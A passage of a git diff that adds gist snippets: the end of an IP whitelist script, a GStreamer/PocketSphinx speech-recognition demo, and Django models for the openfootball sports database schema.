+    for line in fd:
+      line = line.strip()
+      for ip in process(line):
+        whitelist.add(ip)
+
+  for ip in sorted(whitelist):
+    print(ip)
diff --git a/hard-gists/4474608/._snippet.py b/hard-gists/4474608/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4474608/._snippet.py differ
diff --git a/hard-gists/4474608/snippet.py b/hard-gists/4474608/snippet.py
new file mode 100644
index 00000000..dd83747f
--- /dev/null
+++ b/hard-gists/4474608/snippet.py
@@ -0,0 +1,114 @@
+#!/usr/bin/env python
+
+# Copyright (c) 2008 Carnegie Mellon University.
+#
+# You may modify and redistribute this file under the same terms as
+# the CMU Sphinx system.  See
+# http://cmusphinx.sourceforge.net/html/LICENSE for more information.
+
+import pygtk
+pygtk.require('2.0')
+import gtk
+
+import gobject
+import pygst
+pygst.require('0.10')
+gobject.threads_init()
+import gst
+
+class DemoApp(object):
+    """GStreamer/PocketSphinx Demo Application"""
+    def __init__(self):
+        """Initialize a DemoApp object"""
+        self.init_gui()
+        self.init_gst()
+
+    def init_gui(self):
+        """Initialize the GUI components"""
+        self.window = gtk.Window()
+        self.window.connect("delete-event", gtk.main_quit)
+        self.window.set_default_size(400,200)
+        self.window.set_border_width(10)
+        vbox = gtk.VBox()
+        self.textbuf = gtk.TextBuffer()
+        self.text = gtk.TextView(self.textbuf)
+        self.text.set_wrap_mode(gtk.WRAP_WORD)
+        vbox.pack_start(self.text)
+        self.button = gtk.ToggleButton("Speak")
+        self.button.connect('clicked', self.button_clicked)
+        vbox.pack_start(self.button, False, False, 5)
+        self.window.add(vbox)
+        self.window.show_all()
+
+    def init_gst(self):
+        """Initialize the speech components"""
+        self.pipeline = gst.parse_launch('gconfaudiosrc ! audioconvert ! audioresample '
+                                         + '! vader name=vad auto-threshold=true '
+                                         + '! pocketsphinx name=asr ! fakesink')
+        asr = self.pipeline.get_by_name('asr')
+        asr.connect('partial_result', self.asr_partial_result)
+        asr.connect('result', self.asr_result)
+        asr.set_property('configured', True)
+
+        bus = self.pipeline.get_bus()
+        bus.add_signal_watch()
+        bus.connect('message::application', self.application_message)
+
+        self.pipeline.set_state(gst.STATE_PAUSED)
+
+    def asr_partial_result(self, asr, text, uttid):
+        """Forward partial result signals on the bus to the main thread."""
+        struct = gst.Structure('partial_result')
+        struct.set_value('hyp', text)
+        struct.set_value('uttid', uttid)
+        asr.post_message(gst.message_new_application(asr, struct))
+
+    def asr_result(self, asr, text, uttid):
+        """Forward result signals on the bus to the main thread."""
+        struct = gst.Structure('result')
+        struct.set_value('hyp', text)
+        struct.set_value('uttid', uttid)
+        asr.post_message(gst.message_new_application(asr, struct))
+
+    def application_message(self, bus, msg):
+        """Receive application messages from the bus."""
+        msgtype = msg.structure.get_name()
+        if msgtype == 'partial_result':
+            self.partial_result(msg.structure['hyp'], msg.structure['uttid'])
+        elif msgtype == 'result':
+            self.final_result(msg.structure['hyp'], msg.structure['uttid'])
+            self.pipeline.set_state(gst.STATE_PAUSED)
+            self.button.set_active(False)
+
+    def partial_result(self, hyp, uttid):
+        """Delete any previous selection, insert text and select it."""
+        # All this stuff appears as one single action
+        self.textbuf.begin_user_action()
+        self.textbuf.delete_selection(True, self.text.get_editable())
+        self.textbuf.insert_at_cursor(hyp)
+        ins = self.textbuf.get_insert()
+        iter = self.textbuf.get_iter_at_mark(ins)
+        iter.backward_chars(len(hyp))
+        self.textbuf.move_mark(ins, iter)
+        self.textbuf.end_user_action()
+
+    def final_result(self, hyp, uttid):
+        """Insert the final result."""
+        # All this stuff appears as one single action
+        self.textbuf.begin_user_action()
+        self.textbuf.delete_selection(True, self.text.get_editable())
+        self.textbuf.insert_at_cursor(hyp)
+        self.textbuf.end_user_action()
+
+    def button_clicked(self, button):
+        """Handle button presses."""
+        if button.get_active():
+            button.set_label("Stop")
+            self.pipeline.set_state(gst.STATE_PLAYING)
+        else:
+            button.set_label("Speak")
+            vader = self.pipeline.get_by_name('vad')
+            vader.set_property('silent', True)
+
+app = DemoApp()
+gtk.main()
diff --git a/hard-gists/44822f94af25f11a2fda5beba2593229/._snippet.py b/hard-gists/44822f94af25f11a2fda5beba2593229/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/44822f94af25f11a2fda5beba2593229/._snippet.py differ
diff --git a/hard-gists/44822f94af25f11a2fda5beba2593229/snippet.py b/hard-gists/44822f94af25f11a2fda5beba2593229/snippet.py
new file mode 100644
index 00000000..2d837d17
--- /dev/null
+++ b/hard-gists/44822f94af25f11a2fda5beba2593229/snippet.py
@@ -0,0 +1,768 @@
+# This file was originally auto-generated by Django's inspectdb command.
+# The following changes were made manually:
+#
+# - Made the ids AutoFields (since they are defined as AUTOINCREMENT)
+# - Renamed models to be singular
+#   - Added verbose_name_plural if necessary
+# - Added ForeignKeys
+#   - Removed _id suffix on field name
+#   - Added target model
+#   - Added on_delete argument based on whether or not NULL is allowed
+#   - Added related_names
+#   - Set db_index, etc. based on the presence of indexes
+# - Added ManyToManyFields
+#   - Only added related_name if there was extra information in the table
+# - Rearranged the order of models
+# - Added field defaults
+# - In a few cases, and based on the actual data, changed TextFields to limited-length CharFields
+# - Usage.percent was interpreted by inspectdb as a TextField. Changed to FloatField.
+#
+# References
+# - https://openfootball.github.io/schema/
+# - https://github.com/openfootball/schema.sql/blob/master/NOTES.md
+
+from django.db import models
+
+
+class Place(models.Model):
+    id = models.AutoField(primary_key=True)
+    name = models.TextField()
+    kind = models.TextField()
+    lat = models.TextField(blank=True, null=True)
+    lng = models.TextField(blank=True, null=True)
+    created_at = models.DateTimeField(blank=True, null=True)
+    updated_at = models.DateTimeField(blank=True, null=True)
+
+    class Meta:
+        managed = False
+        db_table = "places"
+
+
+class Continent(models.Model):
+    id = models.AutoField(primary_key=True)
+    name = models.TextField()
+    slug = models.TextField()
+    key = models.CharField(max_length=2, unique=True)
+    place = models.ForeignKey(Place, models.CASCADE, db_index=False, related_name="continents")
+    alt_names = models.TextField(blank=True, null=True)
+    created_at = models.DateTimeField(blank=True, null=True)
+    updated_at = models.DateTimeField(blank=True, null=True)
+
+    class Meta:
+        managed = False
+        db_table = "continents"
+
+
+class Country(models.Model):
+    id = models.AutoField(primary_key=True)
+    name = models.TextField()
+    slug = models.TextField()
+    key = models.TextField(unique=True)
+    place = models.ForeignKey(Place, models.CASCADE, db_index=False, related_name="countries")
+    code = models.TextField(unique=True)
+    alt_names = models.TextField(blank=True, null=True)
+    hist_names = models.TextField(blank=True, null=True)
+    pop = models.IntegerField()
+    area = models.IntegerField()
+    continent = models.ForeignKey(Continent, models.SET_NULL, blank=True, null=True, db_index=False, related_name="countries")
+    country = models.ForeignKey("self", models.SET_NULL, blank=True, null=True, db_index=False, related_name="territories")  # Seems to be used for territories with parent countries.
+    s = models.BooleanField(default=False)
+    c = models.BooleanField(default=False)
+    d = models.BooleanField(default=False)
+    m = models.BooleanField(default=False)
+    motor = models.TextField(blank=True, null=True)
+    alpha2 = models.TextField(blank=True, null=True)
+    alpha3 = models.TextField(blank=True, null=True)
+    num = models.TextField(blank=True, null=True)
+    fifa = models.TextField(blank=True, null=True)
+    ioc = models.TextField(blank=True, null=True)
+    fips = models.TextField(blank=True, null=True)
+    net = models.TextField(blank=True, null=True)
+    wikipedia = models.TextField(blank=True, null=True)
+    created_at = models.DateTimeField(blank=True, null=True)
+    updated_at = models.DateTimeField(blank=True, null=True)
+
+    class Meta:
+        managed = False
+        db_table = "countries"
+        verbose_name_plural = "countries"
+
+
+class State(models.Model):
+    id = models.AutoField(primary_key=True)
+    name = models.TextField()
+    key = models.TextField()
+    place = models.ForeignKey(Place, models.CASCADE, db_index=False, related_name="states")
+    code = models.TextField(blank=True, null=True)
+    abbr = models.TextField(blank=True, null=True)
+    iso = models.TextField(blank=True, null=True)
+    nuts = models.TextField(blank=True, null=True)
+    alt_names = models.TextField(blank=True, null=True)
+    country = models.ForeignKey(Country, models.CASCADE, db_index=False, related_name="states")
+    level = models.IntegerField(default=1)
+    pop = models.IntegerField(blank=True, null=True)
+    area = models.IntegerField(blank=True, null=True)
+    created_at = models.DateTimeField(blank=True, null=True)
+    updated_at = models.DateTimeField(blank=True, null=True)
+
+    class Meta:
+        managed = False
+        db_table = "states"
+        unique_together = (("key", "country"),)
+
+
+class Part(models.Model):
+    id = models.AutoField(primary_key=True)
+    name = models.TextField()
+    key = models.TextField()
+    place = models.ForeignKey(Place, models.CASCADE, db_index=False, related_name="parts")
+    code = models.TextField(blank=True, null=True)
+    abbr = models.TextField(blank=True, null=True)
+    iso = models.TextField(blank=True, null=True)
+    nuts = models.TextField(blank=True, null=True)
+    alt_names = models.TextField(blank=True, null=True)
+    state = models.ForeignKey(State, models.CASCADE, db_index=False, related_name="parts")
+    level = models.IntegerField(default=2)
+    pop = models.IntegerField(blank=True, null=True)
+    area = models.IntegerField(blank=True, null=True)
+    created_at = models.DateTimeField(blank=True, null=True)
+    updated_at = models.DateTimeField(blank=True, null=True)
+
+    class Meta:
+        managed = False
+        db_table = "parts"
+
+
+class County(models.Model):
+    id = models.AutoField(primary_key=True)
+    name = models.TextField()
+    key = models.TextField()
+    place = models.ForeignKey(Place, models.CASCADE, db_index=False, related_name="counties")
+    code = models.TextField(blank=True, null=True)
+    abbr = models.TextField(blank=True, null=True)
+    iso = models.TextField(blank=True, null=True)
+    nuts = models.TextField(blank=True, null=True)
+    alt_names = models.TextField(blank=True, null=True)
+    state = models.ForeignKey(State, models.CASCADE, db_index=False, related_name="counties")
+    part = models.ForeignKey(Part, models.SET_NULL, blank=True, null=True, db_index=False, related_name="counties")
+    level = models.IntegerField(default=2)
+    pop = models.IntegerField(blank=True, null=True)
+    area = models.IntegerField(blank=True, null=True)
+    created_at = models.DateTimeField(blank=True, null=True)
+    updated_at = models.DateTimeField(blank=True, null=True)
+
+    class Meta:
+        managed = False
+        db_table = "counties"
+        verbose_name_plural = "counties"
+
+
+class Muni(models.Model):
+    id = models.AutoField(primary_key=True)
+    name = models.TextField()
+    key = models.TextField()
+    place = models.ForeignKey(Place, models.CASCADE, db_index=False, related_name="munis")
+    code = models.TextField(blank=True, null=True)
+    abbr = models.TextField(blank=True, null=True)
+    iso = models.TextField(blank=True, null=True)
+    nuts = models.TextField(blank=True, null=True)
+    alt_names = models.TextField(blank=True, null=True)
+    state = models.ForeignKey(State, models.CASCADE, db_index=False, related_name="munis")
+    county = models.ForeignKey(County, models.SET_NULL, blank=True, null=True, db_index=False, related_name="munis")
+    level = models.IntegerField(default=3)
+    pop = models.IntegerField(blank=True, null=True)
+    area = models.IntegerField(blank=True, null=True)
+    created_at = models.DateTimeField(blank=True, null=True)
+    updated_at = models.DateTimeField(blank=True, null=True)
+
+    class Meta:
+        managed = False
+        db_table = "munis"
+
+
+class Metro(models.Model):
+    id = models.AutoField(primary_key=True)
+    name = models.TextField()
+    key = models.TextField()
+    place = models.ForeignKey(Place, models.CASCADE, db_index=False, related_name="metros")
+    code = models.TextField(blank=True, null=True)
+    alt_names = models.TextField(blank=True, null=True)
+    country = models.ForeignKey(Country, models.CASCADE, db_index=False, related_name="metros")
+    pop = models.IntegerField(blank=True, null=True)
+    area = models.IntegerField(blank=True, null=True)
+    created_at = models.DateTimeField(blank=True, null=True)
+    updated_at = models.DateTimeField(blank=True, null=True)
+
+    class Meta:
+        managed = False
+        db_table = "metros"
+
+
+class City(models.Model):
+    id = models.AutoField(primary_key=True)
+    name = models.TextField()
+    key = models.TextField()
+    place = models.ForeignKey(Place, models.CASCADE, db_index=False, related_name="cities")
+    code = models.TextField(blank=True, null=True)
+    alt_names = models.TextField(blank=True, null=True)
+    country = models.ForeignKey(Country, models.CASCADE, db_index=False, related_name="cities")
+    state = models.ForeignKey(State, models.SET_NULL, blank=True, null=True, db_index=False, related_name="cities")
+    part = models.ForeignKey(Part, models.SET_NULL, blank=True, null=True, db_index=False, related_name="cities")
+    county = models.ForeignKey(County, models.SET_NULL, blank=True, null=True, db_index=False, related_name="cities")
+    muni = models.ForeignKey(Muni, models.SET_NULL, blank=True, null=True, db_index=False, related_name="cities")
+    metro = models.ForeignKey(Metro, models.SET_NULL, blank=True, null=True, db_index=False, related_name="cities")
+    pop = models.IntegerField(blank=True, null=True)
+    area = models.IntegerField(blank=True, null=True)
+    created_at = models.DateTimeField(blank=True, null=True)
+    updated_at = models.DateTimeField(blank=True, null=True)
+
+    class Meta:
+        managed = False
+        db_table = "cities"
+        verbose_name_plural = "cities"
+
+
+class District(models.Model):
+    id = models.AutoField(primary_key=True)
+    name = models.TextField()
+    key = models.TextField()
+    place = models.ForeignKey(Place, models.CASCADE, db_index=False, related_name="districts")
+    code = models.TextField(blank=True, null=True)
+    alt_names = models.TextField(blank=True, null=True)
+    city = models.ForeignKey(City, models.CASCADE, db_index=False, related_name="districts")
+    pop = models.IntegerField(blank=True, null=True)
+    area = models.IntegerField(blank=True, null=True)
+    created_at = models.DateTimeField(blank=True, null=True)
+    updated_at = models.DateTimeField(blank=True, null=True)
+
+    class Meta:
+        managed = False
+        db_table = "districts"
+
+
+class Assoc(models.Model):
+    id = models.AutoField(primary_key=True)
+    key = models.TextField(unique=True)
+    title = models.TextField()
+    since = models.IntegerField(blank=True, null=True)
+    web = models.TextField(blank=True, null=True)
+    country = models.ForeignKey(Country, models.SET_NULL, blank=True, null=True, db_index=False, related_name="assocs")
+    national = models.BooleanField(default=False)
+    continental = models.BooleanField(default=False)
+    intercontinental = models.BooleanField(default=False)
+    created_at = models.DateTimeField(blank=True, null=True)
+    updated_at = models.DateTimeField(blank=True, null=True)
+
+    descendants = models.ManyToManyField("self", symmetrical=False, through="AssocAssoc", through_fields=("assoc1", "assoc2"), related_name="ancestors")
+
+    class Meta:
+        managed = False
+        db_table = "assocs"
+
+
+# Used to represent ancestor relationships (e.g. FIFA is the ancestor of all other associations)
+class AssocAssoc(models.Model):
+    id = models.AutoField(primary_key=True)
+    assoc1 = models.ForeignKey(Assoc, models.CASCADE, db_index=True, related_name="+")
+    assoc2 = models.ForeignKey(Assoc, models.CASCADE, db_index=True, related_name="+")
+    created_at = models.DateTimeField(blank=True, null=True)
+    updated_at = models.DateTimeField(blank=True, null=True)
+
+    class Meta:
+        managed = False
+        db_table = "assocs_assocs"
+        unique_together = (("assoc1", "assoc2"),)
+
+
+class Team(models.Model):
+    id = models.AutoField(primary_key=True)
+    key = models.CharField(max_length=3, unique=True)
+    title = models.TextField()
+    title2 = models.TextField(blank=True, null=True)
+    code = models.CharField(max_length=3, blank=True, null=True)
+    synonyms = models.TextField(blank=True, null=True)
+    country = models.ForeignKey(Country, models.CASCADE, db_index=False, related_name="teams")
+    city = models.ForeignKey(City, models.SET_NULL, blank=True, null=True, db_index=False, related_name="teams")
+    club = models.BooleanField(default=False)  # "basically a reverse copy of the national flag and, thus, redundant"
+    since = models.IntegerField(blank=True, null=True)
+    address = models.TextField(blank=True, null=True)
+    web = models.TextField(blank=True, null=True)
+    assoc = models.ForeignKey(Assoc, models.SET_NULL, blank=True, null=True, db_index=False, related_name="teams")
+    national = models.BooleanField(default=False)
+    created_at = models.DateTimeField(blank=True, null=True)
+    updated_at = models.DateTimeField(blank=True, null=True)
+
+    class Meta:
+        managed = False
+        db_table = "teams"
+
+
+class League(models.Model):
+    id = models.AutoField(primary_key=True)
+    key = models.TextField()
+    title = models.TextField()
+    country = models.ForeignKey(Country, models.SET_NULL, blank=True, null=True, db_index=False, related_name="leagues")
+    club = models.BooleanField(default=False)
+    created_at = models.DateTimeField(blank=True, null=True)
+    updated_at = models.DateTimeField(blank=True, null=True)
+
+    class Meta:
+        managed = False
+        db_table = "leagues"
+
+
+class Season(models.Model):
+    id = models.AutoField(primary_key=True)
+    key = models.TextField()
+    title = models.TextField()
+    created_at = models.DateTimeField(blank=True, null=True)
+    updated_at = models.DateTimeField(blank=True, null=True)
+
+    class Meta:
+        managed = False
+        db_table = "seasons"
+
+
+class Ground(models.Model):
+    id = models.AutoField(primary_key=True)
+    key = models.TextField(unique=True)
+    title = models.TextField()
+    synonyms = models.TextField(blank=True, null=True)
+    country = models.ForeignKey(Country, models.CASCADE, db_index=False, related_name="grounds")
+    city = models.ForeignKey(City, models.SET_NULL, blank=True, null=True, db_index=False, related_name="grounds")
+    since = models.IntegerField(blank=True, null=True)
+    capacity = models.IntegerField(blank=True, null=True)
+    address = models.TextField(blank=True, null=True)
+    created_at = models.DateTimeField(blank=True, null=True)
+    updated_at = models.DateTimeField(blank=True, null=True)
+
+    class Meta:
+        managed = False
+        db_table = "grounds"
+
+
+class Event(models.Model):
+    id = models.AutoField(primary_key=True)
+    key = models.TextField(unique=True)
+    league = models.ForeignKey(League, models.CASCADE, db_index=False, related_name="events")
+    season = models.ForeignKey(Season, models.CASCADE, db_index=False, related_name="events")
+    start_at = models.DateField()
+    end_at = models.DateField(blank=True, null=True)
+    team3 = models.BooleanField(default=True)  # This should be False if it's a knockout event with no 3rd place match
+    sources = models.TextField(blank=True, null=True)
+    config = models.TextField(blank=True, null=True)
+    created_at = models.DateTimeField(blank=True, null=True)
+    updated_at = models.DateTimeField(blank=True, null=True)
+
+    grounds = models.ManyToManyField(Ground, through="EventGround", related_name="events")
+    teams = models.ManyToManyField(Team, through="EventTeam", related_name="events")
+
+    class Meta:
+        managed = False
+        db_table = "events"
+
+
+class EventGround(models.Model):
+    id = models.AutoField(primary_key=True)
+    event = models.ForeignKey(Event, models.CASCADE, db_index=True, related_name="+")
+    ground = models.ForeignKey(Ground, models.CASCADE, db_index=False, related_name="+")
+    created_at = models.DateTimeField(blank=True, null=True)
+    updated_at = models.DateTimeField(blank=True, null=True)
+
+    class Meta:
+        managed = False
+        db_table = "events_grounds"
+        unique_together = (("event", "ground"),)
+
+
+class EventTeam(models.Model):
+    id = models.AutoField(primary_key=True)
+    event = models.ForeignKey(Event, models.CASCADE, db_index=True, related_name="+")
+    team = models.ForeignKey(Team, models.CASCADE, db_index=False, related_name="+")
+    created_at = models.DateTimeField(blank=True, null=True)
+    updated_at = models.DateTimeField(blank=True, null=True)
+
+    class Meta:
+        managed = False
+        db_table = "events_teams"
+        unique_together = (("event", "team"),)
+
+
+class EventStanding(models.Model):
+    id = models.AutoField(primary_key=True)
+    event = models.ForeignKey(Event, models.CASCADE, db_index=False, related_name="event_standings")
+    created_at = models.DateTimeField(blank=True, null=True)
+    updated_at = models.DateTimeField(blank=True, null=True)
+
+    teams = models.ManyToManyField(Team, through="EventStandingEntry", related_name="event_standings")
+
+    class Meta:
+        managed = False
+        db_table = "event_standings"
+
+
+class EventStandingEntry(models.Model):
+    id = models.AutoField(primary_key=True)
+    event_standing = models.ForeignKey(EventStanding, models.CASCADE, db_index=False, related_name="event_standing_entries")
+    team = models.ForeignKey(Team, models.CASCADE, db_index=False, related_name="event_standing_entries")
+    pos = models.IntegerField(blank=True, null=True)
+    played = models.IntegerField(blank=True, null=True)
+    won = models.IntegerField(blank=True, null=True)
+    lost = models.IntegerField(blank=True, null=True)
+    drawn = models.IntegerField(blank=True, null=True)
+    goals_for = models.IntegerField(blank=True, null=True)
+    goals_against = models.IntegerField(blank=True, null=True)
+    pts = models.IntegerField(blank=True, null=True)
+    comments = models.TextField(blank=True, null=True)
+    created_at = models.DateTimeField(blank=True, null=True)
+    updated_at = models.DateTimeField(blank=True, null=True)
+
+    class Meta:
+        managed = False
+        db_table = "event_standing_entries"
+        verbose_name_plural = "event standing entries"
+
+
+class Round(models.Model):
+    id = models.AutoField(primary_key=True)
+    event = models.ForeignKey(Event, models.CASCADE, db_index=True, related_name="rounds")
+    title = models.TextField()
+    title2 = models.TextField(blank=True, null=True)
+    pos = models.IntegerField()
+    knockout = models.BooleanField(default=False)
+    start_at = models.DateField()
+    end_at = models.DateField(blank=True, null=True)
+    auto = models.BooleanField(default=True)
+    created_at = models.DateTimeField(blank=True, null=True)
+    updated_at = models.DateTimeField(blank=True, null=True)
+
+    class Meta:
+        managed = False
+        db_table = "rounds"
+
+
+class Group(models.Model):
+    id = models.AutoField(primary_key=True)
+    event = models.ForeignKey(Event, models.CASCADE, db_index=True, related_name="groups")
+    title = models.TextField()
+    pos = models.IntegerField()
+    created_at = models.DateTimeField(blank=True, null=True)
+    updated_at = models.DateTimeField(blank=True, null=True)
+
+    teams = models.ManyToManyField(Team, through="GroupTeam", related_name="groups")
+
+    class Meta:
+        managed = False
+        db_table = "groups"
+
+
+class GroupTeam(models.Model):
+    id = models.AutoField(primary_key=True)
+    group = models.ForeignKey(Group, models.CASCADE, db_index=True, related_name="+")
+    team = models.ForeignKey(Team, models.CASCADE, db_index=False, related_name="+")
+    created_at = models.DateTimeField(blank=True, null=True)
+    updated_at = models.DateTimeField(blank=True, null=True)
+
+    class Meta:
+        managed = False
+        db_table = "groups_teams"
+        unique_together = (("group", "team"),)
+
+
+class GroupStanding(models.Model):
+    id = models.AutoField(primary_key=True)
+    group = models.ForeignKey(Group, models.CASCADE, db_index=False, related_name="group_standings")
+    created_at = models.DateTimeField(blank=True, null=True)
+    updated_at = models.DateTimeField(blank=True, null=True)
+
+    teams = models.ManyToManyField(Team, through="GroupStandingEntry", related_name="group_standings")
+
+    class Meta:
+        managed = False
+        db_table = "group_standings"
+
+
+class GroupStandingEntry(models.Model):
+    id = models.AutoField(primary_key=True)
+    group_standing = models.ForeignKey(GroupStanding, models.CASCADE, db_index=False, related_name="group_standing_entries")
+    team = models.ForeignKey(Team, models.CASCADE, db_index=False, related_name="group_standing_entries")
+    pos = models.IntegerField(blank=True, null=True)
+    played = models.IntegerField(blank=True, null=True)
+    won = models.IntegerField(blank=True, null=True)
+    lost = models.IntegerField(blank=True, null=True)
+    drawn = models.IntegerField(blank=True, null=True)
+    goals_for = models.IntegerField(blank=True, null=True)
+    goals_against = models.IntegerField(blank=True, null=True)
+    pts = models.IntegerField(blank=True, null=True)
+    comments = models.TextField(blank=True, null=True)
+    created_at = models.DateTimeField(blank=True, null=True)
+    updated_at = models.DateTimeField(blank=True, null=True)
+
+    class Meta:
+        managed = False
+        db_table = "group_standing_entries"
+        verbose_name_plural = "group standing entries"
+
+
+class Game(models.Model):
+    id = models.AutoField(primary_key=True)
+    key = models.TextField(unique=True, blank=True, null=True)
+    round = models.ForeignKey(Round, models.CASCADE, db_index=True, related_name="games")
+    pos = models.IntegerField()
+    group = models.ForeignKey(Group, models.SET_NULL, blank=True, null=True, db_index=True, related_name="games")
+    team1 = models.ForeignKey(Team, models.CASCADE, db_index=True, related_name="games_as_team1")
+    team2 = models.ForeignKey(Team, models.CASCADE, db_index=True, related_name="games_as_team2")
+    play_at = models.DateTimeField()
+    postponed = models.BooleanField(default=False)
+    play_at_v2 = models.DateTimeField(blank=True, null=True)
+    play_at_v3 = models.DateTimeField(blank=True, null=True)
+    ground = models.ForeignKey(Ground, models.SET_NULL, blank=True, null=True, db_index=False, related_name="games")
+    city = models.ForeignKey(City, models.SET_NULL, blank=True, null=True, db_index=False, related_name="games")
+    knockout = models.BooleanField(default=False)
+    home = models.BooleanField(default=True)
+    score1 = models.IntegerField(blank=True, null=True)
+    score2 = models.IntegerField(blank=True, null=True)
+    score1et = models.IntegerField(blank=True, null=True)
+    score2et = models.IntegerField(blank=True, null=True)
+    score1p = models.IntegerField(blank=True, null=True)
+    score2p = models.IntegerField(blank=True, null=True)
+    score1i = models.IntegerField(blank=True, null=True)
+    score2i = models.IntegerField(blank=True, null=True)
+    score1ii = models.IntegerField(blank=True, null=True)
+    score2ii = models.IntegerField(blank=True, null=True)
+    next_game = models.ForeignKey("self", models.SET_NULL, blank=True, null=True, db_index=True, related_name="prev_games")
+    prev_game = models.ForeignKey("self", models.SET_NULL, blank=True, null=True, db_index=True, related_name="next_games")
+    winner = models.IntegerField(blank=True, null=True)  # 0 is a tie, 1 is team1, and 2 is team2
+    winner90 = models.IntegerField(blank=True, null=True)  # same as winner but after 90 minutes
+    created_at = models.DateTimeField(blank=True, null=True)
+    updated_at = models.DateTimeField(blank=True, null=True)
+
+    class Meta:
+        managed = False
+        db_table = "games"
+
+
+class Person(models.Model):
+    id = models.AutoField(primary_key=True)
+    key = models.TextField()
+    name = models.TextField()
+    synonyms = models.TextField(blank=True, null=True)
+    code = models.TextField(blank=True, null=True)
+    born_at = models.DateField(blank=True, null=True)
+    city = models.ForeignKey(City, models.SET_NULL, blank=True, null=True, db_index=False, related_name="persons")
+    state = models.ForeignKey(State, models.SET_NULL, blank=True, null=True, db_index=False, related_name="persons")
+    country = models.ForeignKey(Country, models.SET_NULL, blank=True, null=True, db_index=False, related_name="persons")
+    nationality_id = models.IntegerField(blank=True, null=True)  # ForeignKey to Country? No data, so can't tell.
+    created_at = models.DateTimeField(blank=True, null=True)
+    updated_at = models.DateTimeField(blank=True, null=True)
+
+    class Meta:
+        managed = False
+        db_table = "persons"
+
+
+class Goal(models.Model):
+    id = models.AutoField(primary_key=True)
+    person = models.ForeignKey(Person, models.CASCADE, db_index=False, related_name="goals")
+    game = models.ForeignKey(Game, models.CASCADE, db_index=False, related_name="goals")
+    team = models.ForeignKey(Team, models.CASCADE, db_index=False, related_name="goals")
+    minute = models.IntegerField(blank=True, null=True)
+    offset = models.IntegerField(default=0)  # the number of minutes into extra time when the goal was scored
+    score1 = models.IntegerField(blank=True, null=True)
+    score2 = models.IntegerField(blank=True, null=True)
+    penalty = models.BooleanField(default=False)
+    owngoal = models.BooleanField(default=False)
+    created_at = models.DateTimeField(blank=True, null=True)
+    updated_at = models.DateTimeField(blank=True, null=True)
+
+    class Meta:
+        managed = False
+        db_table = "goals"
+
+
+class Roster(models.Model):
+    id = models.AutoField(primary_key=True)
+    person = models.ForeignKey(Person, models.CASCADE, db_index=False, related_name="rosters")
+    team = models.ForeignKey(Team, models.CASCADE, db_index=False, related_name="rosters")
+    event = models.ForeignKey(Event, models.SET_NULL, blank=True, null=True, db_index=False, related_name="rosters")
+    pos = models.IntegerField()
+    created_at = models.DateTimeField(blank=True, null=True)
+    updated_at = models.DateTimeField(blank=True, null=True)
+
+    class Meta:
+        managed = False
+        db_table = "rosters"
+
+
+class AlltimeStanding(models.Model):
+    id = models.AutoField(primary_key=True)
+    key = models.TextField()
+    title = models.TextField()
+    created_at = models.DateTimeField(blank=True, null=True)
+    updated_at = models.DateTimeField(blank=True, null=True)
+
+    teams = models.ManyToManyField(Team, through="AlltimeStandingEntry", related_name="alltime_standings")
+
+    class Meta:
+        managed = False
+        db_table = "alltime_standings"
+
+
+class AlltimeStandingEntry(models.Model):
+    id = models.AutoField(primary_key=True)
+    alltime_standing = models.ForeignKey(AlltimeStanding, models.CASCADE, db_index=False, related_name="alltime_standing_entries")
+    team = models.ForeignKey(Team, models.CASCADE, db_index=False, related_name="alltime_standing_entries")
+    pos = models.IntegerField(blank=True, null=True)
+    played = models.IntegerField(blank=True, null=True)
+    won = models.IntegerField(blank=True, null=True)
+    lost = models.IntegerField(blank=True, null=True)
+    drawn = models.IntegerField(blank=True, null=True)
+    goals_for = models.IntegerField(blank=True, null=True)
+    goals_against = models.IntegerField(blank=True, null=True)
+    pts = models.IntegerField(blank=True, null=True)
+    recs = models.IntegerField(blank=True, null=True)
+    comments = models.TextField(blank=True, null=True)
+    created_at = models.DateTimeField(blank=True, null=True)
+    updated_at = models.DateTimeField(blank=True, null=True)
+
+    class Meta:
+        managed = False
+        db_table = "alltime_standing_entries"
+        verbose_name_plural = "alltime standing entries"
+
+
+class Badge(models.Model):
+    id = models.AutoField(primary_key=True)
+    team = models.ForeignKey(Team, models.CASCADE, db_index=False, related_name="badges")
+    league = models.ForeignKey(League, models.CASCADE, db_index=False, related_name="badges")
+    season = models.ForeignKey(Season, models.CASCADE, db_index=False, related_name="badges")
+    title = models.TextField()
+    created_at = models.DateTimeField(blank=True, null=True)
+    updated_at = models.DateTimeField(blank=True, null=True)
+
+    class Meta:
+        managed = False
+        db_table = "badges"
+
+
+class CountryCode(models.Model):
+    id = models.AutoField(primary_key=True)
+    name = models.TextField()
+    kind = models.TextField()
+    country = models.ForeignKey(Country, models.CASCADE, db_index=False, related_name="country_codes")
+
+    class Meta:
+        managed = False
+        db_table = "country_codes"
+        unique_together = (("name", "kind"),)
+
+
+class Lang(models.Model):
+    id = models.AutoField(primary_key=True)
+    key = models.TextField()
+    name = models.TextField()
+    created_at = models.DateTimeField(blank=True, null=True)
+    updated_at = models.DateTimeField(blank=True, null=True)
+
+    class Meta:
+        managed = False
+        db_table = "langs"
+
+
+class Log(models.Model):
+    id = models.AutoField(primary_key=True)
+    msg = models.TextField()
+    level = models.TextField()
+    app = models.TextField(blank=True, null=True)
+    tag = models.TextField(blank=True, null=True)
+    pid = models.IntegerField(blank=True, null=True)
+    tid = models.TextField(blank=True, null=True)
+    ts = models.TextField(blank=True, null=True)
+    created_at = models.DateTimeField(blank=True, null=True)
+    updated_at = models.DateTimeField(blank=True, null=True)
+
+    class Meta:
+        managed = False
+        db_table = "logs"
+
+
+class Name(models.Model):
+    id = models.AutoField(primary_key=True)
+    name = models.TextField()
+    place = models.ForeignKey(Place, models.CASCADE, db_index=False, related_name="names")
+    place_kind = models.TextField()
+    lang = models.TextField(default="en")
+    created_at = models.DateTimeField(blank=True, null=True)
+    updated_at = models.DateTimeField(blank=True, null=True)
+
+    class Meta:
+        managed = False
+        db_table = "names"
+
+
+class Prop(models.Model):
+    id = models.AutoField(primary_key=True)
+    key = models.TextField()
+    value = models.TextField()
+    kind = models.TextField(blank=True, null=True)
+    created_at = models.DateTimeField(blank=True, null=True)
+    updated_at = models.DateTimeField(blank=True, null=True)
+
+    class Meta:
+        managed = False
+        db_table = "props"
+
+
+class Tag(models.Model):
+    id = models.AutoField(primary_key=True)
+    key = models.TextField(unique=True)
+    slug = models.TextField()
+    name = models.TextField(blank=True, null=True)
